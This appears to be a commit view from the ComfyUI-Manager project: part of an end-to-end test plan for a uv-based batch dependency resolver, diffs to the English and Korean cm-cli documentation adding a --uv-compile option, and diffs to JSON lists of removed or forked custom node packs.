--- Phase 1: Collect Requirements ---
Total requirements: ~24
Skipped: 1 # SAM2 git+https:// URL
Extra index URLs: set()
```
**Verify**:
- `git+https://github.com/facebookresearch/sam2.git` is correctly rejected with "rejected path separator"
- All other dependencies are collected and resolved
- After install, `cv2`, `PIL`, `scipy`, `skimage`, `matplotlib` are all importable
- No conflicting version errors during compile
**Automation**: Use `tests/e2e/scripts/` (setup → clone packs → start) with direct-mode resolver invocation.
---
## Validated Behaviors (from E2E Testing)
The following behaviors were confirmed during manual E2E testing:
### Resolver Pipeline
- **3-phase pipeline**: Collect → `uv pip compile``uv pip install` works end-to-end
- **Incremental detection**: Resolver discovers new node packs on each restart without reinstalling existing deps
- **Dependency deduplication**: Overlapping deps from multiple packs are resolved to compatible versions
### Security & Filtering
- **`git+https://` rejection**: URLs like `git+https://github.com/facebookresearch/sam2.git` are rejected with "rejected path separator" — SAM2 is the only dependency skipped from Impact Pack
- **Blacklist filtering**: `PackageRequirement` objects have `.name`, `.spec`, `.source` attributes; `collected.skipped` returns `[(spec_string, reason_string)]` tuples
### Manager Integration
- **Manager v4 endpoints**: All endpoints use `/v2/` prefix (e.g., `/v2/manager/queue/status`)
- **`Blocked by policy`**: Expected when Manager is pip-installed and also symlinked in `custom_nodes/`; prevents legacy double-loading
- **config.ini path**: Must be at `$COMFY_ROOT/user/__manager/config.ini`, not in the symlinked Manager dir
### Environment
- **PYTHONPATH requirement**: `comfy` is a local package (not pip-installed); `comfyui_manager` imports from `comfy`, so both require `PYTHONPATH=$COMFY_ROOT`
- **HOME isolation**: `HOME=$E2E_ROOT/home` prevents host config contamination during boot
---
## Summary
| TC | P | Scenario | Key Verification |
|----|---|----------|------------------|
| 1 | P0 | Normal batch resolution | compile → install pipeline |
| 2 | P1 | Disabled state | No impact on existing behavior |
| 3 | P0 | uv unavailable fallback | Flag reset + per-node resume |
| 4 | P0 | Compile failure fallback | Flag reset + per-node resume |
| 5 | P0 | Install failure fallback | Flag reset + per-node resume |
| 6 | P0 | install.py preserved | deps defer, install.py immediate |
| 7 | P0 | Dangerous pattern rejection | Security filtering |
| 8 | P0 | Path separator rejection | `/` and `\` in package names |
| 9 | P0 | index-url separation | All 4 variants + dedup |
| 10 | P0 | Credential redaction | Log security |
| 11 | P1 | Disabled packs excluded | Both `.disabled/` and `.disabled` suffix |
| 12 | P2 | No dependencies | Empty pipeline |
| 13 | P1 | Runtime install defer | Defer until restart |
| 14 | P0 | Both unified resolver paths | runtime API (class method) + startup lazy install |
| 15 | P1 | Post-fallback behavior | Per-node pip resumes in same process |
| 16 | P1 | Generic exception fallback | Distinct from uv-absent and batch-failed |
| 17 | P0 | Restart dependency detection | Incremental node pack discovery across restarts |
| 18 | P0 | Real node pack integration | Impact + Inspire Pack full pipeline |
| CLI-1 | P0 | CLI normal batch resolution | exit 0, deps installed |
| CLI-2 | P1 | CLI no custom nodes | exit 0, graceful empty |
| CLI-3 | P0 | CLI uv unavailable | exit 1, error message |
| CLI-4 | P0 | CLI conflicting deps | exit 1, resolution failed |
| CLI-5 | P0 | CLI dangerous pattern skip | exit 0, dangerous skipped |
| CLI-6 | P0 | install --uv-compile single | per-node pip skipped, batch resolve |
| CLI-7 | P0 | install --uv-compile multi | batch once after all installs |
### Traceability
| Feature Requirement | Test Cases |
|---------------------|------------|
| FR-1: Dependency collection | TC-1, TC-11, TC-12 |
| FR-2: Input sanitization | TC-7, TC-8, TC-10 |
| FR-3: Index URL handling | TC-9 |
| FR-4: Batch resolution (compile) | TC-1, TC-4 |
| FR-5: Batch install | TC-1, TC-5 |
| FR-6: install.py preserved | TC-6, TC-14 |
| FR-7: Startup batch integration | TC-1, TC-2, TC-3 |
| Fallback behavior | TC-3, TC-4, TC-5, TC-15, TC-16 |
| Disabled node pack exclusion | TC-11 |
| Runtime defer behavior | TC-13, TC-14 |
| FR-8: Restart discovery | TC-17 |
| FR-9: Real-world compatibility | TC-17, TC-18 |
| FR-2: Input sanitization (git URLs) | TC-8, TC-18 |
| FR-10: CLI batch resolution | TC-CLI-1, TC-CLI-2, TC-CLI-3, TC-CLI-4, TC-CLI-5 |
| FR-11: CLI install --uv-compile | TC-CLI-6, TC-CLI-7 |
+59 -32
View File
@@ -7,40 +7,39 @@
-= ComfyUI-Manager CLI (V2.24) =-
python cm-cli.py [OPTIONS]
cm-cli [OPTIONS]
OPTIONS:
[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]
[install|reinstall|update|fix] node_name ... ?[--uv-compile]
[update|disable|enable|fix] all ?[--channel <channel name>] ?[--mode [remote|local|cache]]
[update|fix] all ?[--uv-compile]
[simple-show|show] [installed|enabled|not-installed|disabled|all|snapshot|snapshot-list] ?[--channel <channel name>] ?[--mode [remote|local|cache]]
save-snapshot ?[--output <snapshot .json/.yaml>]
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url]
cli-only-mode [enable|disable]
restore-dependencies
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url] ?[--uv-compile]
restore-dependencies ?[--uv-compile]
install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]
uv-compile
clear
```
## How To Use?
* You can execute it via `python cm-cli.py`.
* You can execute it via the `cm-cli` command.
* For example, if you want to update all custom nodes:
* In the ComfyUI-Manager directory, you can execute the command `python cm-cli.py update all`.
* If running from the ComfyUI directory, you can specify the path to cm-cli.py like this: `python custom_nodes/ComfyUI-Manager/cm-cli.py update all`.
* `cm-cli update all`
## Prerequisite
* It must be run in the same Python environment as the one running ComfyUI.
* If using a venv, you must run it with the venv activated.
* If using a portable version, and you are in the directory with the run_nvidia_gpu.bat file, you should execute the command as follows:
`.\python_embeded\python.exe ComfyUI\custom_nodes\ComfyUI-Manager\cm-cli.py update all`
* The path for ComfyUI can be set with the COMFYUI_PATH environment variable. If omitted, a warning message will appear, and the path will be set relative to the installed location of ComfyUI-Manager:
```
WARN: The `COMFYUI_PATH` environment variable is not set. Assuming `custom_nodes/ComfyUI-Manager/../../` as the ComfyUI path.
```
`.\python_embeded\python.exe -m cm_cli update all`
* The path for ComfyUI must be set with the `COMFYUI_PATH` environment variable.
## Features
### 1. --channel, --mode
* For viewing information and managing custom nodes, you can set the information database through --channel and --mode.
* For instance, executing the command `python cm-cli.py update all --channel recent --mode remote` will operate based on the latest information from remote rather than local data embedded in the current ComfyUI-Manager repo and will only target the list in the recent channel.
* For instance, executing the command `cm-cli update all --channel recent --mode remote` will operate based on the latest information from remote rather than local data embedded in the current ComfyUI-Manager repo and will only target the list in the recent channel.
* --channel, --mode are only available with the commands `simple-show, show, install, uninstall, update, disable, enable, fix`.
### 2. Viewing Management Information
@@ -49,7 +48,7 @@ OPTIONS:
* `[show|simple-show]` - `show` provides detailed information, while `simple-show` displays information more simply.
Executing a command like `python cm-cli.py show installed` will display detailed information about the installed custom nodes.
Executing a command like `cm-cli show installed` will display detailed information about the installed custom nodes.
```
-= ComfyUI-Manager CLI (V2.24) =-
@@ -66,7 +65,7 @@ FETCH DATA from: https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main
[ DISABLED ] ComfyUI-Loopchain (author: Fannovel16)
```
Using a command like `python cm-cli.py simple-show installed` will simply display information about the installed custom nodes.
Using a command like `cm-cli simple-show installed` will simply display information about the installed custom nodes.
```
-= ComfyUI-Manager CLI (V2.24) =-
@@ -95,7 +94,7 @@ ComfyUI-Loopchain
`[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]`
* You can apply management functions by listing the names of custom nodes, such as `python cm-cli.py install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments`.
* You can apply management functions by listing the names of custom nodes, such as `cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments`.
* The names of the custom nodes are as shown by `show` and are the names of the git repositories.
(Plans are to update the use of nicknames in the future.)
@@ -112,11 +111,27 @@ ComfyUI-Loopchain
* `enable`: Enables the specified custom nodes.
* `fix`: Attempts to fix dependencies for the specified custom nodes.
#### `--uv-compile` flag (`install`, `reinstall`, `update`, `fix`)
When `--uv-compile` is specified, per-node pip installs are skipped during node operations.
After all operations complete, `uv pip compile` resolves the full dependency graph in one batch.
* Requires `uv` to be installed.
* Prevents dependency conflicts between multiple node packs.
* On resolution failure, displays conflicting packages and which node packs requested them.
* `reinstall --uv-compile` is mutually exclusive with `--no-deps`.
```bash
cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack --uv-compile
cm-cli update all --uv-compile
cm-cli fix ComfyUI-Impact-Pack --uv-compile
```
### 4. Snapshot Management
* `python cm-cli.py save-snapshot [--output <snapshot .json/.yaml>]`: Saves the current snapshot.
* `cm-cli save-snapshot [--output <snapshot .json/.yaml>]`: Saves the current snapshot.
* With `--output`, you can save a file in .yaml format to any specified path.
* `python cm-cli.py restore-snapshot <snapshot .json/.yaml>`: Restores to the specified snapshot.
* `cm-cli restore-snapshot <snapshot .json/.yaml>`: Restores to the specified snapshot.
* If a file exists at the snapshot path, that snapshot is loaded.
* If no file exists at the snapshot path, it is implicitly assumed to be in ComfyUI-Manager/snapshots.
* `--pip-non-url`: Restore for pip packages registered on PyPI.
@@ -125,23 +140,35 @@ ComfyUI-Loopchain
* `--user-directory`: Set the user directory.
* `--restore-to`: The path where the restored custom nodes will be installed. (When this option is applied, only the custom nodes installed in the target path are recognized as installed.)
### 5. CLI Only Mode
### 5. Dependency Restoration
You can set whether to use ComfyUI-Manager solely via CLI.
`cli-only-mode [enable|disable]`
* This mode can be used if you want to restrict the use of ComfyUI-Manager through the GUI for security or policy reasons.
* When CLI only mode is enabled, ComfyUI-Manager is loaded in a very restricted state, the internal web API is disabled, and the Manager button is not displayed in the main menu.
### 6. Dependency Restoration
`restore-dependencies`
`restore-dependencies ?[--uv-compile]`
* This command can be used if custom nodes are installed under the `ComfyUI/custom_nodes` path but their dependencies are not installed.
* It is useful when starting a new cloud instance, like colab, where dependencies need to be reinstalled and installation scripts re-executed.
* It is useful when starting a new cloud instance, like Colab, where dependencies need to be reinstalled and installation scripts re-executed.
* It can also be utilized if ComfyUI is reinstalled and only the custom_nodes path has been backed up and restored.
* Use `--uv-compile` to skip per-node pip installs and resolve all dependencies in one batch instead.
### 7. Clear
### 6. Install from Dependency File
In the GUI, installations, updates, or snapshot restorations are scheduled to execute the next time ComfyUI is launched. The `clear` command clears this scheduled state, ensuring no pre-execution actions are applied.
`install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]`
* Installs custom nodes specified in a dependency spec file (`.json`) or workflow file (`.png`/`.json`).
* Use `--uv-compile` to batch-resolve all dependencies after installation instead of per-node pip.
### 7. uv-compile
`uv-compile ?[--user-directory <path>]`
* Batch-resolves and installs all custom node pack dependencies using `uv pip compile`.
* Useful for environment recovery or initial setup without starting ComfyUI.
* Requires `uv` to be installed.
```bash
cm-cli uv-compile
cm-cli uv-compile --user-directory /path/to/comfyui
```
### 8. Clear
In the GUI, installations, updates, or snapshot restorations are scheduled to execute the next time ComfyUI is launched. The `clear` command clears this scheduled state, ensuring no pre-execution actions are applied.
+63 -39
View File
@@ -7,41 +7,40 @@
-= ComfyUI-Manager CLI (V2.24) =-
python cm-cli.py [OPTIONS]
cm-cli [OPTIONS]
OPTIONS:
[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]
[install|reinstall|update|fix] node_name ... ?[--uv-compile]
[update|disable|enable|fix] all ?[--channel <channel name>] ?[--mode [remote|local|cache]]
[update|fix] all ?[--uv-compile]
[simple-show|show] [installed|enabled|not-installed|disabled|all|snapshot|snapshot-list] ?[--channel <channel name>] ?[--mode [remote|local|cache]]
save-snapshot ?[--output <snapshot .json/.yaml>]
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url]
cli-only-mode [enable|disable]
restore-dependencies
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url] ?[--uv-compile]
restore-dependencies ?[--uv-compile]
install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]
uv-compile
clear
```
## How To Use?
* `python cm-cli.py` 를 통해서 실행 시킬 수 있습니다.
* `cm-cli` 명령으로 실행할 수 있습니다.
* 예를 들어 custom node를 모두 업데이트 하고 싶다면
* ComfyUI-Manager경로 에서 `python cm-cli.py update all` 를 command를 실행할 수 있습니다.
* ComfyUI 경로에서 실행한다면, `python custom_nodes/ComfyUI-Manager/cm-cli.py update all` 와 같이 cm-cli.py 의 경로를 지정할 수도 있습니다.
* `cm-cli update all` 명령을 실행할 수 있습니다.
## Prerequisite
* ComfyUI 를 실행하는 python과 동일한 python 환경에서 실행해야 합니다.
* venv를 사용할 경우 해당 venv를 activate 한 상태에서 실행해야 합니다.
* portable 버전을 사용할 경우 run_nvidia_gpu.bat 파일이 있는 경로인 경우, 다음과 같은 방식으로 코맨드를 실행해야 합니다.
`.\python_embeded\python.exe ComfyUI\custom_nodes\ComfyUI-Manager\cm-cli.py update all`
* ComfyUI 의 경로는 COMFYUI_PATH 환경 변수로 설정할 수 있습니다. 만약 생략할 경우 다음과 같은 경고 메시지가 나타나며, ComfyUI-Manager가 설치된 경로를 기준으로 상대 경로로 설정됩니다.
```
WARN: The `COMFYUI_PATH` environment variable is not set. Assuming `custom_nodes/ComfyUI-Manager/../../` as the ComfyUI path.
```
* portable 버전을 사용할 경우 run_nvidia_gpu.bat 파일이 있는 경로인 경우, 다음과 같은 방식으로 명령을 실행해야 합니다.
`.\python_embeded\python.exe -m cm_cli update all`
* ComfyUI 의 경로는 `COMFYUI_PATH` 환경 변수로 설정해야 합니다.
## Features
### 1. --channel, --mode
* 정보 보기 기능과 커스텀 노드 관리 기능의 경우는 --channel과 --mode를 통해 정보 DB를 설정할 수 있습니다.
* 예 들어 `python cm-cli.py update all --channel recent --mode remote`와 같은 command를 실행할 경우, 현재 ComfyUI-Manager repo에 내장된 로컬의 정보가 아닌 remote의 최신 정보를 기준으로 동작하며, recent channel에 있는 목록을 대상으로만 동작합니다.
* --channel, --mode 는 `simple-show, show, install, uninstall, update, disable, enable, fix` command에서만 사용 가능합니다.
* 예 들어 `cm-cli update all --channel recent --mode remote`와 같은 명령을 실행할 경우, 현재 ComfyUI-Manager repo에 내장된 로컬의 정보가 아닌 remote의 최신 정보를 기준으로 동작하며, recent channel에 있는 목록을 대상으로만 동작합니다.
* --channel, --mode 는 `simple-show, show, install, uninstall, update, disable, enable, fix` 명령에서만 사용 가능합니다.
### 2. 관리 정보 보기
@@ -51,7 +50,7 @@ OPTIONS:
* `[show|simple-show]` - `show`는 상세하게 정보를 보여주며, `simple-show`는 간단하게 정보를 보여줍니다.
`python cm-cli.py show installed` 와 같은 코맨드를 실행하면 설치된 커스텀 노드의 정보를 상세하게 보여줍니다.
`cm-cli show installed` 와 같은 명령을 실행하면 설치된 커스텀 노드의 정보를 상세하게 보여줍니다.
```
-= ComfyUI-Manager CLI (V2.24) =-
@@ -67,7 +66,7 @@ FETCH DATA from: https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main
[ DISABLED ] ComfyUI-Loopchain (author: Fannovel16)
```
`python cm-cli.py simple-show installed` 와 같은 코맨드를 이용해서 설치된 커스텀 노드의 정보를 간단하게 보여줍니다.
`cm-cli simple-show installed` 와 같은 명령을 이용해서 설치된 커스텀 노드의 정보를 간단하게 보여줍니다.
```
-= ComfyUI-Manager CLI (V2.24) =-
@@ -89,16 +88,16 @@ ComfyUI-Loopchain
* `installed`: enable, disable 여부와 상관없이 설치된 모든 노드를 보여줍니다
* `not-installed`: 설치되지 않은 커스텀 노드의 목록을 보여줍니다.
* `all`: 모든 커스텀 노드의 목록을 보여줍니다.
* `snapshot`: 현재 설치된 커스텀 노드의 snapshot 정보를 보여줍니다. `show` 통해서 볼 경우는 json 출력 형태로 보여주며, `simple-show`를 통해서 볼 경우는 간단하게, 커밋 해시와 함께 보여줍니다.
* `snapshot`: 현재 설치된 커스텀 노드의 snapshot 정보를 보여줍니다. `show` 통해서 볼 경우는 json 출력 형태로 보여주며, `simple-show`를 통해서 볼 경우는 간단하게, 커밋 해시와 함께 보여줍니다.
* `snapshot-list`: ComfyUI-Manager/snapshots 에 저장된 snapshot 파일의 목록을 보여줍니다.
### 3. 커스텀 노드 관리 하기
`[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]`
* `python cm-cli.py install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments` 와 같이 커스텀 노드의 이름을 나열해서 관리 기능을 적용할 수 있습니다.
* `cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments` 와 같이 커스텀 노드의 이름을 나열해서 관리 기능을 적용할 수 있습니다.
* 커스텀 노드의 이름은 `show`를 했을 때 보여주는 이름이며, git repository의 이름입니다.
(추후 nickname 을 사용가능하돌고 업데이트 할 예정입니다.)
(추후 nickname을 사용 가능하도록 업데이트할 예정입니다.)
`[update|disable|enable|fix] all ?[--channel <channel name>] ?[--mode [remote|local|cache]]`
@@ -113,38 +112,63 @@ ComfyUI-Loopchain
* `enable`: 지정된 커스텀 노드들을 활성화합니다.
* `fix`: 지정된 커스텀 노드의 의존성을 고치기 위한 시도를 합니다.
#### `--uv-compile` 플래그 (`install`, `reinstall`, `update`, `fix`)
`--uv-compile` 플래그를 사용하면 노드별 pip 설치를 건너뛰고, 모든 작업이 완료된 후 `uv pip compile`로 전체 의존성을 한 번에 일괄 해결합니다.
* `uv`가 설치된 환경에서만 동작합니다.
* 여러 노드 팩 간의 의존성 충돌을 방지합니다.
* 해결 실패 시 충돌 패키지와 해당 패키지를 요청한 노드 팩 목록을 표시합니다.
* `reinstall --uv-compile``--no-deps`와 동시에 사용할 수 없습니다.
```bash
cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack --uv-compile
cm-cli update all --uv-compile
cm-cli fix ComfyUI-Impact-Pack --uv-compile
```
### 4. 스냅샷 관리 기능
* `python cm-cli.py save-snapshot ?[--output <snapshot .json/.yaml>]`: 현재의 snapshot을 저장합니다.
* `cm-cli save-snapshot ?[--output <snapshot .json/.yaml>]`: 현재의 snapshot을 저장합니다.
* --output 으로 임의의 경로에 .yaml 파일과 format으로 저장할 수 있습니다.
* `python cm-cli.py restore-snapshot <snapshot .json/.yaml>`: 지정된 snapshot으로 복구합니다.
* `cm-cli restore-snapshot <snapshot .json/.yaml>`: 지정된 snapshot으로 복구합니다.
* snapshot 경로에 파일이 존재하는 경우 해당 snapshot을 로드합니다.
* snapshot 경로에 파일이 존재하지 않는 경우 묵시적으로, ComfyUI-Manager/snapshots 에 있다고 가정합니다.
* `--pip-non-url`: PyPI 에 등록된 pip 패키지들에 대해서 복구를 수행
* `--pip-non-local-url`: web URL에 등록된 pip 패키지들에 대해서 복구를 수행
* `--pip-local-url`: local 경로를 지정하고 있는 pip 패키지들에 대해서 복구를 수행
* `--user-directory`: 사용자 디렉토리 설정
* `--restore-to`: 복구될 커스텀 노드가 설치될 경로. (이 옵션을 적용할 경우 오직 대상 경로에 설치된 custom nodes 만 설치된 것으로 인식함.)
* `--restore-to`: 복구될 커스텀 노드가 설치될 경로. (이 옵션을 적용할 경우 오직 대상 경로에 설치된 custom nodes만 설치된 것으로 인식함.)
### 5. CLI only mode
### 5. 의존성 설치
ComfyUI-Manager를 CLI로만 사용할 것인지를 설정할 수 있습니다.
`cli-only-mode [enable|disable]`
* security 혹은 policy 의 이유로 GUI 를 통한 ComfyUI-Manager 사용을 제한하고 싶은 경우 이 모드를 사용할 수 있습니다.
* CLI only mode를 적용할 경우 ComfyUI-Manager 가 매우 제한된 상태로 로드되어, 내부적으로 제공하는 web API가 비활성화 되며, 메인 메뉴에서도 Manager 버튼이 표시되지 않습니다.
### 6. 의존성 설치
`restore-dependencies`
`restore-dependencies ?[--uv-compile]`
* `ComfyUI/custom_nodes` 하위 경로에 커스텀 노드들이 설치되어 있긴 하지만, 의존성이 설치되지 않은 경우 사용할 수 있습니다.
* colab 과 같이 cloud instance를 새로 시작하는 경우 의존성 재설치 및 설치 스크립트가 재실행 되어야 하는 경우 사용합니다.
* ComfyUI 재설치할 경우, custom_nodes 경로만 백업했다가 재설치 할 경우 활용 가능합니다.
* Colab과 같이 cloud instance를 새로 시작하는 경우 의존성 재설치 및 설치 스크립트가 재실행되어야 하는 경우 사용합니다.
* ComfyUI 재설치할 경우, custom_nodes 경로만 백업했다가 재설치할 경우 활용 가능합니다.
* `--uv-compile` 플래그를 사용하면 노드별 pip 설치를 건너뛰고 일괄 해결합니다.
### 6. 의존성 파일로 설치
### 7. clear
`install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]`
GUI에서 install, update를 하거나 snapshot 을 restore하는 경우 예약을 통해서 다음번 ComfyUI를 실행할 경우 실행되는 구조입니다. `clear` 는 이런 예약 상태를 clear해서, 아무런 사전 실행이 적용되지 않도록 합니다.
* 의존성 spec 파일(`.json`) 또는 워크플로우 파일(`.png`/`.json`)에 명시된 커스텀 노드를 설치합니다.
* `--uv-compile` 플래그를 사용하면 모든 노드 설치 후 일괄 의존성 해결을 수행합니다.
### 7. uv-compile
`uv-compile ?[--user-directory <path>]`
* 설치된 모든 커스텀 노드 팩의 의존성을 `uv pip compile`로 일괄 해결하고 설치합니다.
* ComfyUI를 재시작하지 않고 의존성 환경을 복구하거나 초기 설정 시 활용할 수 있습니다.
* `uv`가 설치된 환경에서만 동작합니다.
```bash
cm-cli uv-compile
cm-cli uv-compile --user-directory /path/to/comfyui
```
### 8. clear
GUI에서 install, update를 하거나 snapshot을 restore하는 경우 예약을 통해서 다음번 ComfyUI를 실행할 경우 실행되는 구조입니다. `clear` 는 이런 예약 상태를 clear해서, 아무런 사전 실행이 적용되지 않도록 합니다.
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+1860 -1325
View File
File diff suppressed because it is too large Load Diff
+10
View File
@@ -169,6 +169,16 @@
],
"install_type": "git-clone",
"description": "A fork of KJNodes for ComfyUI.\nVarious quality of life -nodes for ComfyUI, mostly just visual stuff to improve usability"
},
{
"author": "huixingyun",
"title": "ComfyUI-SoundFlow",
"reference": "https://github.com/huixingyun/ComfyUI-SoundFlow",
"files": [
"https://github.com/huixingyun/ComfyUI-SoundFlow"
],
"install_type": "git-clone",
"description": "forked from https://github.com/fredconex/ComfyUI-SoundFlow (removed)"
}
]
}
+685 -10
View File
@@ -1,5 +1,690 @@
{
"custom_nodes": [
{
"author": "cedarconnor",
"title": "ComfyUI-GEN3C-Gsplat [REMOVED]",
"reference": "https://github.com/cedarconnor/ComfyUI-GEN3C-Gsplat",
"files": [
"https://github.com/cedarconnor/ComfyUI-GEN3C-Gsplat"
],
"install_type": "git-clone",
"description": "A custom ComfyUI node pack that bridges Cosmos/GEN3C video generation with in-graph Gaussian Splat (3DGS) training. It adds camera/trajectory tooling, dataset exporters, and two training backends (Nerfstudio CLI wrapper and an in-process gsplat optimizer) so artists can go from prompt to splat entirely inside ComfyUI.\nNOTE: The files in the repo are not organized."
},
{
"author": "dowa-git",
"title": "comfyui-dowa [REMOVED]",
"reference": "https://github.com/dowa-git/comfyui-dowa",
"files": [
"https://github.com/dowa-git/comfyui-dowa"
],
"install_type": "git-clone",
"description": "Professional navigation bar widget for ComfyUI with JWT-based user authentication, workflow templates, and team collaboration features in a purple gradient design."
},
{
"author": "Fablestarexpanse",
"title": "Timer-Node-Comfyui [REMOVED]",
"reference": "https://github.com/Fablestarexpanse/Timer-Node-Comfyui",
"files": [
"https://github.com/Fablestarexpanse/Timer-Node-Comfyui"
],
"install_type": "git-clone",
"description": "A custom ComfyUI node that displays live processing time in a red digital countdown clock format, perfect for monitoring image generation times and tracking performance between workflow nodes."
},
{
"author": "cedarconnor",
"title": "ComfyUI-OmniX [REMOVED]",
"reference": "https://github.com/cedarconnor/ComfyUI-OmniX",
"files": [
"https://github.com/cedarconnor/ComfyUI-OmniX"
],
"install_type": "git-clone",
"description": "Extract comprehensive scene properties from 360-degree equirectangular panoramas, including depth, normals, and PBR materials, using OmniX adapters with Flux."
},
{
"author": "cedarconnor",
"title": "ComfyUI-DiT360 [REMOVED]",
"reference": "https://github.com/cedarconnor/ComfyUI-DiT360",
"files": [
"https://github.com/cedarconnor/ComfyUI-DiT360"
],
"install_type": "git-clone",
"description": "Generate high-fidelity 360-degree panoramic images using the DiT360 diffusion transformer model in ComfyUI."
},
{
"author": "PozzettiAndrea",
"title": "ComfyUI-AnyTop [REMOVED]",
"reference": "https://github.com/PozzettiAndrea/ComfyUI-AnyTop",
"files": [
"https://github.com/PozzettiAndrea/ComfyUI-AnyTop"
],
"install_type": "git-clone",
"description": "Standalone ComfyUI custom nodes for AnyTop - Universal Motion Generation for Any Skeleton Topology."
},
{
"author": "penposs",
"title": "ComfyUI-Banana-Node [REMOVED]",
"reference": "https://github.com/penposs/ComfyUI-Banana-Node",
"files": [
"https://github.com/penposs/ComfyUI-Banana-Node"
],
"install_type": "git-clone",
"description": "A custom node for ComfyUI that generates images using Googles Gemini 2.5 Flash Image Preview API."
},
{
"author": "spiralmountain",
"title": "ComfyUI_HDNodes [REMOVED]",
"reference": "https://github.com/spiralmountain/ComfyUI_HDNodes",
"files": [
"https://github.com/spiralmountain/ComfyUI_HDNodes"
],
"install_type": "git-clone",
"description": "Custom nodes for ComfyUI that enable video generation using ByteDance's Seedance model via [a/Fal.ai](https://fal.ai/)."
},
{
"author": "fredconex",
"title": "Sync Edit [REMOVED]",
"reference": "https://github.com/fredconex/ComfyUI-SyncEdit",
"files": [
"https://github.com/fredconex/ComfyUI-SyncEdit"
],
"install_type": "git-clone",
"description": "This node allow to intercept changes on the input string and choose between use the current one or sync with incoming new one."
},
{
"author": "fredconex",
"title": "ComfyUI-SoundFlow [REMOVED]",
"reference": "https://github.com/fredconex/ComfyUI-SoundFlow",
"files": [
"https://github.com/fredconex/ComfyUI-SoundFlow"
],
"install_type": "git-clone",
"description": "This is a bunch of nodes for ComfyUI to help with sound work."
},
{
"author": "fredconex",
"title": "SongBloom [REMOVED]",
"reference": "https://github.com/fredconex/ComfyUI-SongBloom",
"files": [
"https://github.com/fredconex/ComfyUI-SongBloom"
],
"install_type": "git-clone",
"description": "ComfyUI Nodes for SongBloom"
},
{
"author": "EQXai",
"title": "ComfyUI_EQX [REMOVED]",
"reference": "https://github.com/EQXai/ComfyUI_EQX",
"files": [
"https://github.com/EQXai/ComfyUI_EQX"
],
"install_type": "git-clone",
"description": "NODES: SaveImage_EQX, File Image Selector, Load Prompt From File - EQX, LoraStackEQX_random, Extract Filename - EQX, Extract LORA name - EQX, NSFW Detector EQX, NSFW Detector Advanced EQX"
},
{
"author": "wizdroid",
"title": "Wizdroid ComfyUI Outfit Selection [REMOVED]",
"reference": "https://github.com/wizdroid/wizdroid-fashionista",
"files": [
"https://github.com/wizdroid/wizdroid-fashionista"
],
"install_type": "git-clone",
"description": "A comprehensive outfit generation system for ComfyUI with AI-powered prompt enhancement and dynamic outfit composition."
},
{
"author": "enternalsaga",
"title": "NBA-ComfyUINode [REMOVED]",
"reference": "https://github.com/enternalsaga/NBA-ComfyUINode-public",
"files": [
"https://github.com/enternalsaga/NBA-ComfyUINode-public"
],
"install_type": "git-clone",
"description": "Version 1.2.1 - Dependency cleanup and archived LineSelector node\nA comprehensive collection of custom nodes for ComfyUI, providing advanced image processing, workflow control, and utility functions to enhance your AI image generation workflows."
},
{
"author": "sselpah",
"title": "ComfyUI-sselpah-nodes [REMOVED]",
"reference": "https://github.com/sselpah/ComfyUI-sselpah-nodes",
"files": [
"https://github.com/sselpah/ComfyUI-sselpah-nodes"
],
"install_type": "git-clone",
"description": "Extension of IPAdapter implementation by cubiq and whoever contributed to that repository"
},
{
"author": "vsaan212",
"title": "ComfyUI Text Split Node [REMOVED]",
"reference": "https://github.com/vsaan212/Comfy-ui-textsplit",
"files": [
"https://github.com/vsaan212/Comfy-ui-textsplit"
],
"install_type": "git-clone",
"description": "A custom ComfyUI node that splits text into multiple outputs for feeding complex multi-scene renders. This node allows you to dynamically control the number of splits and use custom separators."
},
{
"author": "EnragedAntelope",
"title": "ComfyUI-Doubutsu-Describer [DEPRECATED]",
"reference": "https://github.com/EnragedAntelope/ComfyUI-Doubutsu-Describer",
"files": [
"https://github.com/EnragedAntelope/ComfyUI-Doubutsu-Describer"
],
"install_type": "git-clone",
"description": "This custom node for ComfyUI allows you to use the Doubutsu small VLM model to describe images. Credit and further information on Doubutsu: [a/https://huggingface.co/qresearch/doubutsu-2b-pt-756](https://huggingface.co/qresearch/doubutsu-2b-pt-756)"
},
{
"author": "vsaan212",
"title": "ComfyUI Subject Selector [DEPRECATED]",
"reference": "https://github.com/vsaan212/ComfyUI_subjectselector",
"files": [
"https://github.com/vsaan212/ComfyUI_subjectselector"
],
"install_type": "git-clone",
"description": "ComfyUI_subjectselector is a custom ComfyUI node that allows you to manage and select text-based subject descriptions directly from the workflow UI. This node was designed to pair seamlessly with [a/ComfyUI-textsplit](https://github.com/vsaan212/Comfy-ui-textsplit), providing a clean, modular way to feed descriptive text prompts into your generation pipeline."
},
{
"author": "agxagi",
"title": "Autoregressive Transformer and Rolling Diffusion Sampler for ComfyUI [REMOVED]",
"reference": "https://github.com/agxagi/ComfyUI-GPT4o-Image-Gen-FLUX-DEV",
"files": [
